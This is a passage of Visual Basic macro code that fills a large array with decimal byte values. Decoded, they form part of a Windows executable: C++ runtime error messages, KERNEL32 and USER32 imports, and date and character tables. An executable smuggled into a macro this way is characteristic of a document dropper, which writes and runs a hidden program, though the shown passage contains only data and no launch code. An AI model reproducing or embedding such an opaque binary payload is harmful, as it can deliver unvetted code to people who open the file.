    a(308) = Array(135, 138, 217, 209, 77, 244, 203, 119, 25, 14, 130, 2, 152, 123, 210, 78, 178, 232, 253, 204, 206, 255, 97, 155, 229, 81, 141, 217, 180, 201, 106, 73, 169, 193, 24, 152, 2, 97, 207, 15, 115, 139, 109, 65, 65, 203, 161, 78, 128, 92, 155, 233, 165, 172, 74, 116, 197, 143, 188, 245, 109, 83, 119, 79, 184, 82, 251, 193, 53, 111, 222, 182, 29, 113, 212, 143, 2, 45, 140, 76, 135, 227, 239, 246, 153, 222, 18, 126, 240, 195, 5, 44, 237, 110, 5, 76, 161, 95, 237, 125, 122, 152, 163, 105, 159, 54, 135, 15, 229, 164, 252, 76, 189, 62, 115, 230, 21, 69, 114, 221, 183, 157, 166, 242, 44, 218, 82, 67)
    a(309) = Array(144, 102, 134, 254, 230, 218, 202, 201, 109, 38, 21, 159, 186, 215, 240, 72, 147, 193, 230, 137, 95, 111, 229, 172, 180, 126, 98, 134, 167, 66, 228, 65, 164, 217, 172, 51, 167, 47, 45, 82, 98, 192, 250, 140, 128, 160, 21, 76, 154, 136, 170, 124, 42, 248, 13, 252, 97, 68, 89, 132, 83, 0, 66, 67, 168, 253, 8, 143, 171, 241, 31, 50, 132, 234, 125, 159, 11, 195, 69, 66, 128, 182, 0, 233, 246, 70, 241, 180, 241, 172, 185, 127, 190, 38, 14, 64, 133, 181, 41, 75, 156, 117, 223, 214, 174, 25, 137, 36, 69, 227, 109, 74, 138, 235, 224, 211, 22, 92, 144, 78, 36, 213, 139, 20, 171, 162, 206, 17)
    a(310) = Array(177, 31, 0, 170, 0, 83, 5, 3, 39, 213, 139, 20, 171, 162, 206, 17, 177, 31, 0, 170, 0, 83, 5, 3, 32, 213, 139, 20, 171, 162, 206, 17, 177, 31, 0, 170, 0, 83, 5, 3, 42, 213, 139, 20, 171, 162, 206, 17, 177, 31, 0, 170, 0, 83, 5, 3, 240, 248, 64, 0, 72, 249, 64, 0, 67, 111, 114, 69, 120, 105, 116, 80, 114, 111, 99, 101, 115, 115, 0, 0, 109, 0, 115, 0, 99, 0, 111, 0, 114, 0, 101, 0, 101, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 114, 0, 117, 0, 110, 0, 116, 0, 105, 0, 109, 0, 101, 0, 32, 0, 101, 0, 114, 0, 114, 0, 111, 0)
    a(311) = Array(114, 0, 32, 0, 0, 0, 0, 0, 13, 0, 10, 0, 0, 0, 0, 0, 84, 0, 76, 0, 79, 0, 83, 0, 83, 0, 32, 0, 101, 0, 114, 0, 114, 0, 111, 0, 114, 0, 13, 0, 10, 0, 0, 0, 83, 0, 73, 0, 78, 0, 71, 0, 32, 0, 101, 0, 114, 0, 114, 0, 111, 0, 114, 0, 13, 0, 10, 0, 0, 0, 0, 0, 68, 0, 79, 0, 77, 0, 65, 0, 73, 0, 78, 0, 32, 0, 101, 0, 114, 0, 114, 0, 111, 0, 114, 0, 13, 0, 10, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 51, 0, 51, 0, 13, 0, 10, 0, 45, 0, 32, 0, 65, 0, 116, 0, 116, 0)
    a(312) = Array(101, 0, 109, 0, 112, 0, 116, 0, 32, 0, 116, 0, 111, 0, 32, 0, 117, 0, 115, 0, 101, 0, 32, 0, 77, 0, 83, 0, 73, 0, 76, 0, 32, 0, 99, 0, 111, 0, 100, 0, 101, 0, 32, 0, 102, 0, 114, 0, 111, 0, 109, 0, 32, 0, 116, 0, 104, 0, 105, 0, 115, 0, 32, 0, 97, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 100, 0, 117, 0, 114, 0, 105, 0, 110, 0, 103, 0, 32, 0, 110, 0, 97, 0, 116, 0, 105, 0, 118, 0, 101, 0, 32, 0, 99, 0, 111, 0, 100, 0, 101, 0, 32, 0, 105, 0, 110, 0, 105, 0, 116, 0)
    a(313) = Array(105, 0, 97, 0, 108, 0, 105, 0, 122, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 10, 0, 84, 0, 104, 0, 105, 0, 115, 0, 32, 0, 105, 0, 110, 0, 100, 0, 105, 0, 99, 0, 97, 0, 116, 0, 101, 0, 115, 0, 32, 0, 97, 0, 32, 0, 98, 0, 117, 0, 103, 0, 32, 0, 105, 0, 110, 0, 32, 0, 121, 0, 111, 0, 117, 0, 114, 0, 32, 0, 97, 0, 112, 0, 112, 0, 108, 0, 105, 0, 99, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 46, 0, 32, 0, 73, 0, 116, 0, 32, 0, 105, 0, 115, 0, 32, 0, 109, 0, 111, 0, 115, 0, 116, 0, 32, 0)
    a(314) = Array(108, 0, 105, 0, 107, 0, 101, 0, 108, 0, 121, 0, 32, 0, 116, 0, 104, 0, 101, 0, 32, 0, 114, 0, 101, 0, 115, 0, 117, 0, 108, 0, 116, 0, 32, 0, 111, 0, 102, 0, 32, 0, 99, 0, 97, 0, 108, 0, 108, 0, 105, 0, 110, 0, 103, 0, 32, 0, 97, 0, 110, 0, 32, 0, 77, 0, 83, 0, 73, 0, 76, 0, 45, 0, 99, 0, 111, 0, 109, 0, 112, 0, 105, 0, 108, 0, 101, 0, 100, 0, 32, 0, 40, 0, 47, 0, 99, 0, 108, 0, 114, 0, 41, 0, 32, 0, 102, 0, 117, 0, 110, 0, 99, 0, 116, 0, 105, 0, 111, 0, 110, 0, 32, 0, 102, 0, 114, 0)
    a(315) = Array(111, 0, 109, 0, 32, 0, 97, 0, 32, 0, 110, 0, 97, 0, 116, 0, 105, 0, 118, 0, 101, 0, 32, 0, 99, 0, 111, 0, 110, 0, 115, 0, 116, 0, 114, 0, 117, 0, 99, 0, 116, 0, 111, 0, 114, 0, 32, 0, 111, 0, 114, 0, 32, 0, 102, 0, 114, 0, 111, 0, 109, 0, 32, 0, 68, 0, 108, 0, 108, 0, 77, 0, 97, 0, 105, 0, 110, 0, 46, 0, 13, 0, 10, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 51, 0, 50, 0, 13, 0, 10, 0, 45, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 101, 0, 110, 0, 111, 0, 117, 0, 103, 0, 104, 0, 32, 0)
    a(316) = Array(115, 0, 112, 0, 97, 0, 99, 0, 101, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 108, 0, 111, 0, 99, 0, 97, 0, 108, 0, 101, 0, 32, 0, 105, 0, 110, 0, 102, 0, 111, 0, 114, 0, 109, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 13, 0, 10, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 51, 0, 49, 0, 13, 0, 10, 0, 45, 0, 32, 0, 65, 0, 116, 0, 116, 0, 101, 0, 109, 0, 112, 0, 116, 0, 32, 0, 116, 0, 111, 0, 32, 0, 105, 0, 110, 0, 105, 0, 116, 0, 105, 0, 97, 0, 108, 0, 105, 0, 122, 0, 101, 0, 32, 0, 116, 0)
    a(317) = Array(104, 0, 101, 0, 32, 0, 67, 0, 82, 0, 84, 0, 32, 0, 109, 0, 111, 0, 114, 0, 101, 0, 32, 0, 116, 0, 104, 0, 97, 0, 110, 0, 32, 0, 111, 0, 110, 0, 99, 0, 101, 0, 46, 0, 10, 0, 84, 0, 104, 0, 105, 0, 115, 0, 32, 0, 105, 0, 110, 0, 100, 0, 105, 0, 99, 0, 97, 0, 116, 0, 101, 0, 115, 0, 32, 0, 97, 0, 32, 0, 98, 0, 117, 0, 103, 0, 32, 0, 105, 0, 110, 0, 32, 0, 121, 0, 111, 0, 117, 0, 114, 0, 32, 0, 97, 0, 112, 0, 112, 0, 108, 0, 105, 0, 99, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 46, 0)
    a(318) = Array(13, 0, 10, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 51, 0, 48, 0, 13, 0, 10, 0, 45, 0, 32, 0, 67, 0, 82, 0, 84, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 105, 0, 110, 0, 105, 0, 116, 0, 105, 0, 97, 0, 108, 0, 105, 0, 122, 0, 101, 0, 100, 0, 13, 0, 10, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 50, 0, 56, 0, 13, 0, 10, 0, 45, 0, 32, 0, 117, 0, 110, 0, 97, 0, 98, 0, 108, 0, 101, 0, 32, 0, 116, 0, 111, 0, 32, 0, 105, 0, 110, 0, 105, 0, 116, 0, 105, 0, 97, 0, 108, 0, 105, 0, 122, 0)
    a(319) = Array(101, 0, 32, 0, 104, 0, 101, 0, 97, 0, 112, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 50, 0, 55, 0, 13, 0, 10, 0, 45, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 101, 0, 110, 0, 111, 0, 117, 0, 103, 0, 104, 0, 32, 0, 115, 0, 112, 0, 97, 0, 99, 0, 101, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 108, 0, 111, 0, 119, 0, 105, 0, 111, 0, 32, 0, 105, 0, 110, 0, 105, 0, 116, 0, 105, 0, 97, 0, 108, 0, 105, 0, 122, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 13, 0, 10, 0)
    a(320) = Array(0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 50, 0, 54, 0, 13, 0, 10, 0, 45, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 101, 0, 110, 0, 111, 0, 117, 0, 103, 0, 104, 0, 32, 0, 115, 0, 112, 0, 97, 0, 99, 0, 101, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 115, 0, 116, 0, 100, 0, 105, 0, 111, 0, 32, 0, 105, 0, 110, 0, 105, 0, 116, 0, 105, 0, 97, 0, 108, 0, 105, 0, 122, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 50, 0)
    a(321) = Array(53, 0, 13, 0, 10, 0, 45, 0, 32, 0, 112, 0, 117, 0, 114, 0, 101, 0, 32, 0, 118, 0, 105, 0, 114, 0, 116, 0, 117, 0, 97, 0, 108, 0, 32, 0, 102, 0, 117, 0, 110, 0, 99, 0, 116, 0, 105, 0, 111, 0, 110, 0, 32, 0, 99, 0, 97, 0, 108, 0, 108, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 50, 0, 52, 0, 13, 0, 10, 0, 45, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 101, 0, 110, 0, 111, 0, 117, 0, 103, 0, 104, 0, 32, 0, 115, 0, 112, 0, 97, 0, 99, 0, 101, 0, 32, 0, 102, 0, 111, 0)
    a(322) = Array(114, 0, 32, 0, 95, 0, 111, 0, 110, 0, 101, 0, 120, 0, 105, 0, 116, 0, 47, 0, 97, 0, 116, 0, 101, 0, 120, 0, 105, 0, 116, 0, 32, 0, 116, 0, 97, 0, 98, 0, 108, 0, 101, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 49, 0, 57, 0, 13, 0, 10, 0, 45, 0, 32, 0, 117, 0, 110, 0, 97, 0, 98, 0, 108, 0, 101, 0, 32, 0, 116, 0, 111, 0, 32, 0, 111, 0, 112, 0, 101, 0, 110, 0, 32, 0, 99, 0, 111, 0, 110, 0, 115, 0, 111, 0, 108, 0, 101, 0, 32, 0, 100, 0, 101, 0, 118, 0, 105, 0)
    a(323) = Array(99, 0, 101, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 49, 0, 56, 0, 13, 0, 10, 0, 45, 0, 32, 0, 117, 0, 110, 0, 101, 0, 120, 0, 112, 0, 101, 0, 99, 0, 116, 0, 101, 0, 100, 0, 32, 0, 104, 0, 101, 0, 97, 0, 112, 0, 32, 0, 101, 0, 114, 0, 114, 0, 111, 0, 114, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 49, 0, 55, 0, 13, 0, 10, 0, 45, 0, 32, 0, 117, 0, 110, 0, 101, 0, 120, 0, 112, 0, 101, 0, 99, 0, 116, 0, 101, 0, 100, 0, 32, 0)
    a(324) = Array(109, 0, 117, 0, 108, 0, 116, 0, 105, 0, 116, 0, 104, 0, 114, 0, 101, 0, 97, 0, 100, 0, 32, 0, 108, 0, 111, 0, 99, 0, 107, 0, 32, 0, 101, 0, 114, 0, 114, 0, 111, 0, 114, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 49, 0, 54, 0, 13, 0, 10, 0, 45, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 101, 0, 110, 0, 111, 0, 117, 0, 103, 0, 104, 0, 32, 0, 115, 0, 112, 0, 97, 0, 99, 0, 101, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 116, 0, 104, 0, 114, 0, 101, 0, 97, 0, 100, 0)
    a(325) = Array(32, 0, 100, 0, 97, 0, 116, 0, 97, 0, 13, 0, 10, 0, 0, 0, 82, 0, 54, 0, 48, 0, 49, 0, 48, 0, 13, 0, 10, 0, 45, 0, 32, 0, 97, 0, 98, 0, 111, 0, 114, 0, 116, 0, 40, 0, 41, 0, 32, 0, 104, 0, 97, 0, 115, 0, 32, 0, 98, 0, 101, 0, 101, 0, 110, 0, 32, 0, 99, 0, 97, 0, 108, 0, 108, 0, 101, 0, 100, 0, 13, 0, 10, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 48, 0, 57, 0, 13, 0, 10, 0, 45, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 101, 0, 110, 0, 111, 0, 117, 0, 103, 0, 104, 0, 32, 0)
    a(326) = Array(115, 0, 112, 0, 97, 0, 99, 0, 101, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 101, 0, 110, 0, 118, 0, 105, 0, 114, 0, 111, 0, 110, 0, 109, 0, 101, 0, 110, 0, 116, 0, 13, 0, 10, 0, 0, 0, 82, 0, 54, 0, 48, 0, 48, 0, 56, 0, 13, 0, 10, 0, 45, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 101, 0, 110, 0, 111, 0, 117, 0, 103, 0, 104, 0, 32, 0, 115, 0, 112, 0, 97, 0, 99, 0, 101, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 97, 0, 114, 0, 103, 0, 117, 0, 109, 0, 101, 0, 110, 0, 116, 0, 115, 0, 13, 0)
    a(327) = Array(10, 0, 0, 0, 0, 0, 0, 0, 82, 0, 54, 0, 48, 0, 48, 0, 50, 0, 13, 0, 10, 0, 45, 0, 32, 0, 102, 0, 108, 0, 111, 0, 97, 0, 116, 0, 105, 0, 110, 0, 103, 0, 32, 0, 112, 0, 111, 0, 105, 0, 110, 0, 116, 0, 32, 0, 115, 0, 117, 0, 112, 0, 112, 0, 111, 0, 114, 0, 116, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 108, 0, 111, 0, 97, 0, 100, 0, 101, 0, 100, 0, 13, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 8, 189, 64, 0, 8, 0, 0, 0, 176, 188, 64, 0, 9, 0, 0, 0, 88, 188, 64, 0)
    a(328) = Array(10, 0, 0, 0, 16, 188, 64, 0, 16, 0, 0, 0, 184, 187, 64, 0, 17, 0, 0, 0, 88, 187, 64, 0, 18, 0, 0, 0, 16, 187, 64, 0, 19, 0, 0, 0, 184, 186, 64, 0, 24, 0, 0, 0, 72, 186, 64, 0, 25, 0, 0, 0, 248, 185, 64, 0, 26, 0, 0, 0, 136, 185, 64, 0, 27, 0, 0, 0, 24, 185, 64, 0, 28, 0, 0, 0, 200, 184, 64, 0, 30, 0, 0, 0, 136, 184, 64, 0, 31, 0, 0, 0, 192, 183, 64, 0, 32, 0, 0, 0, 88, 183, 64, 0, 33, 0, 0, 0, 104, 181, 64, 0, 120, 0, 0, 0, 72, 181, 64, 0, 121, 0, 0, 0, 44, 181, 64, 0)
    a(329) = Array(122, 0, 0, 0, 16, 181, 64, 0, 252, 0, 0, 0, 8, 181, 64, 0, 255, 0, 0, 0, 232, 180, 64, 0, 77, 0, 105, 0, 99, 0, 114, 0, 111, 0, 115, 0, 111, 0, 102, 0, 116, 0, 32, 0, 86, 0, 105, 0, 115, 0, 117, 0, 97, 0, 108, 0, 32, 0, 67, 0, 43, 0, 43, 0, 32, 0, 82, 0, 117, 0, 110, 0, 116, 0, 105, 0, 109, 0, 101, 0, 32, 0, 76, 0, 105, 0, 98, 0, 114, 0, 97, 0, 114, 0, 121, 0, 0, 0, 0, 0, 10, 0, 10, 0, 0, 0, 0, 0, 46, 0, 46, 0, 46, 0, 0, 0, 60, 0, 112, 0, 114, 0, 111, 0, 103, 0, 114, 0)
    a(330) = Array(97, 0, 109, 0, 32, 0, 110, 0, 97, 0, 109, 0, 101, 0, 32, 0, 117, 0, 110, 0, 107, 0, 110, 0, 111, 0, 119, 0, 110, 0, 62, 0, 0, 0, 0, 0, 82, 0, 117, 0, 110, 0, 116, 0, 105, 0, 109, 0, 101, 0, 32, 0, 69, 0, 114, 0, 114, 0, 111, 0, 114, 0, 33, 0, 10, 0, 10, 0, 80, 0, 114, 0, 111, 0, 103, 0, 114, 0, 97, 0, 109, 0, 58, 0, 32, 0, 0, 0, 99, 0, 99, 0, 115, 0, 0, 0, 85, 0, 84, 0, 70, 0, 45, 0, 56, 0, 0, 0, 85, 0, 84, 0, 70, 0, 45, 0, 49, 0, 54, 0, 76, 0, 69, 0, 0, 0, 0, 0)
End Sub

Private Sub Init11()
    a(331) = Array(85, 0, 78, 0, 73, 0, 67, 0, 79, 0, 68, 0, 69, 0, 0, 0, 5, 0, 0, 192, 11, 0, 0, 0, 0, 0, 0, 0, 29, 0, 0, 192, 4, 0, 0, 0, 0, 0, 0, 0, 150, 0, 0, 192, 4, 0, 0, 0, 0, 0, 0, 0, 141, 0, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 142, 0, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 143, 0, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 144, 0, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 145, 0, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 146, 0, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 147, 0, 0, 192)
    a(332) = Array(8, 0, 0, 0, 0, 0, 0, 0, 180, 2, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 181, 2, 0, 192, 8, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 9, 0, 0, 0, 144, 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, 75, 0, 69, 0, 82, 0, 78, 0, 69, 0, 76, 0, 51, 0, 50, 0, 46, 0, 68, 0, 76, 0, 76, 0, 0, 0, 0, 0, 70, 108, 115, 70, 114, 101, 101, 0, 70, 108, 115, 83, 101, 116, 86, 97, 108, 117, 101, 0, 70, 108, 115, 71, 101, 116, 86, 97, 108, 117, 101, 0, 70, 108, 115, 65, 108, 108, 111, 99, 0, 0, 0, 0, 71, 101, 116, 80)
    a(333) = Array(114, 111, 99, 101, 115, 115, 87, 105, 110, 100, 111, 119, 83, 116, 97, 116, 105, 111, 110, 0, 71, 101, 116, 85, 115, 101, 114, 79, 98, 106, 101, 99, 116, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 87, 0, 0, 0, 71, 101, 116, 76, 97, 115, 116, 65, 99, 116, 105, 118, 101, 80, 111, 112, 117, 112, 0, 0, 71, 101, 116, 65, 99, 116, 105, 118, 101, 87, 105, 110, 100, 111, 119, 0, 77, 101, 115, 115, 97, 103, 101, 66, 111, 120, 87, 0, 85, 0, 83, 0, 69, 0, 82, 0, 51, 0, 50, 0, 46, 0, 68, 0, 76, 0, 76, 0, 0, 0, 0, 0, 72, 0, 72, 0, 58, 0, 109, 0)
    a(334) = Array(109, 0, 58, 0, 115, 0, 115, 0, 0, 0, 0, 0, 100, 0, 100, 0, 100, 0, 100, 0, 44, 0, 32, 0, 77, 0, 77, 0, 77, 0, 77, 0, 32, 0, 100, 0, 100, 0, 44, 0, 32, 0, 121, 0, 121, 0, 121, 0, 121, 0, 0, 0, 77, 0, 77, 0, 47, 0, 100, 0, 100, 0, 47, 0, 121, 0, 121, 0, 0, 0, 0, 0, 80, 0, 77, 0, 0, 0, 0, 0, 65, 0, 77, 0, 0, 0, 0, 0, 68, 0, 101, 0, 99, 0, 101, 0, 109, 0, 98, 0, 101, 0, 114, 0, 0, 0, 0, 0, 78, 0, 111, 0, 118, 0, 101, 0, 109, 0, 98, 0, 101, 0, 114, 0, 0, 0, 0, 0)
    a(335) = Array(79, 0, 99, 0, 116, 0, 111, 0, 98, 0, 101, 0, 114, 0, 0, 0, 83, 0, 101, 0, 112, 0, 116, 0, 101, 0, 109, 0, 98, 0, 101, 0, 114, 0, 0, 0, 65, 0, 117, 0, 103, 0, 117, 0, 115, 0, 116, 0, 0, 0, 0, 0, 74, 0, 117, 0, 108, 0, 121, 0, 0, 0, 0, 0, 74, 0, 117, 0, 110, 0, 101, 0, 0, 0, 0, 0, 65, 0, 112, 0, 114, 0, 105, 0, 108, 0, 0, 0, 77, 0, 97, 0, 114, 0, 99, 0, 104, 0, 0, 0, 70, 0, 101, 0, 98, 0, 114, 0, 117, 0, 97, 0, 114, 0, 121, 0, 0, 0, 0, 0, 74, 0, 97, 0, 110, 0, 117, 0)
    a(336) = Array(97, 0, 114, 0, 121, 0, 0, 0, 68, 0, 101, 0, 99, 0, 0, 0, 78, 0, 111, 0, 118, 0, 0, 0, 79, 0, 99, 0, 116, 0, 0, 0, 83, 0, 101, 0, 112, 0, 0, 0, 65, 0, 117, 0, 103, 0, 0, 0, 74, 0, 117, 0, 108, 0, 0, 0, 74, 0, 117, 0, 110, 0, 0, 0, 77, 0, 97, 0, 121, 0, 0, 0, 65, 0, 112, 0, 114, 0, 0, 0, 77, 0, 97, 0, 114, 0, 0, 0, 70, 0, 101, 0, 98, 0, 0, 0, 74, 0, 97, 0, 110, 0, 0, 0, 83, 0, 97, 0, 116, 0, 117, 0, 114, 0, 100, 0, 97, 0, 121, 0, 0, 0, 0, 0, 70, 0, 114, 0)
    a(337) = Array(105, 0, 100, 0, 97, 0, 121, 0, 0, 0, 0, 0, 84, 0, 104, 0, 117, 0, 114, 0, 115, 0, 100, 0, 97, 0, 121, 0, 0, 0, 0, 0, 87, 0, 101, 0, 100, 0, 110, 0, 101, 0, 115, 0, 100, 0, 97, 0, 121, 0, 0, 0, 84, 0, 117, 0, 101, 0, 115, 0, 100, 0, 97, 0, 121, 0, 0, 0, 77, 0, 111, 0, 110, 0, 100, 0, 97, 0, 121, 0, 0, 0, 0, 0, 83, 0, 117, 0, 110, 0, 100, 0, 97, 0, 121, 0, 0, 0, 0, 0, 83, 0, 97, 0, 116, 0, 0, 0, 70, 0, 114, 0, 105, 0, 0, 0, 84, 0, 104, 0, 117, 0, 0, 0, 87, 0, 101, 0)
    a(338) = Array(100, 0, 0, 0, 84, 0, 117, 0, 101, 0, 0, 0, 77, 0, 111, 0, 110, 0, 0, 0, 83, 0, 117, 0, 110, 0, 0, 0, 72, 72, 58, 109, 109, 58, 115, 115, 0, 0, 0, 0, 100, 100, 100, 100, 44, 32, 77, 77, 77, 77, 32, 100, 100, 44, 32, 121, 121, 121, 121, 0, 77, 77, 47, 100, 100, 47, 121, 121, 0, 0, 0, 0, 80, 77, 0, 0, 65, 77, 0, 0, 68, 101, 99, 101, 109, 98, 101, 114, 0, 0, 0, 0, 78, 111, 118, 101, 109, 98, 101, 114, 0, 0, 0, 0, 79, 99, 116, 111, 98, 101, 114, 0, 83, 101, 112, 116, 101, 109, 98, 101, 114, 0, 0, 0, 65, 117, 103, 117)
    a(339) = Array(115, 116, 0, 0, 74, 117, 108, 121, 0, 0, 0, 0, 74, 117, 110, 101, 0, 0, 0, 0, 65, 112, 114, 105, 108, 0, 0, 0, 77, 97, 114, 99, 104, 0, 0, 0, 70, 101, 98, 114, 117, 97, 114, 121, 0, 0, 0, 0, 74, 97, 110, 117, 97, 114, 121, 0, 68, 101, 99, 0, 78, 111, 118, 0, 79, 99, 116, 0, 83, 101, 112, 0, 65, 117, 103, 0, 74, 117, 108, 0, 74, 117, 110, 0, 77, 97, 121, 0, 65, 112, 114, 0, 77, 97, 114, 0, 70, 101, 98, 0, 74, 97, 110, 0, 83, 97, 116, 117, 114, 100, 97, 121, 0, 0, 0, 0, 70, 114, 105, 100, 97, 121, 0, 0, 84, 104, 117, 114)
    a(340) = Array(115, 100, 97, 121, 0, 0, 0, 0, 87, 101, 100, 110, 101, 115, 100, 97, 121, 0, 0, 0, 84, 117, 101, 115, 100, 97, 121, 0, 77, 111, 110, 100, 97, 121, 0, 0, 83, 117, 110, 100, 97, 121, 0, 0, 83, 97, 116, 0, 70, 114, 105, 0, 84, 104, 117, 0, 87, 101, 100, 0, 84, 117, 101, 0, 77, 111, 110, 0, 83, 117, 110, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56)
    a(341) = Array(57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 0, 67, 0, 79, 0, 78, 0, 79, 0, 85, 0, 84, 0, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(342) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(343) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 40, 0, 40, 0, 40, 0, 40, 0, 40, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0)
    a(344) = Array(32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 72, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 129, 0, 129, 0, 129, 0, 129, 0, 129, 0, 129, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0)
    a(345) = Array(1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 130, 0, 130, 0, 130, 0, 130, 0, 130, 0, 130, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 16, 0, 16, 0, 16, 0, 16, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
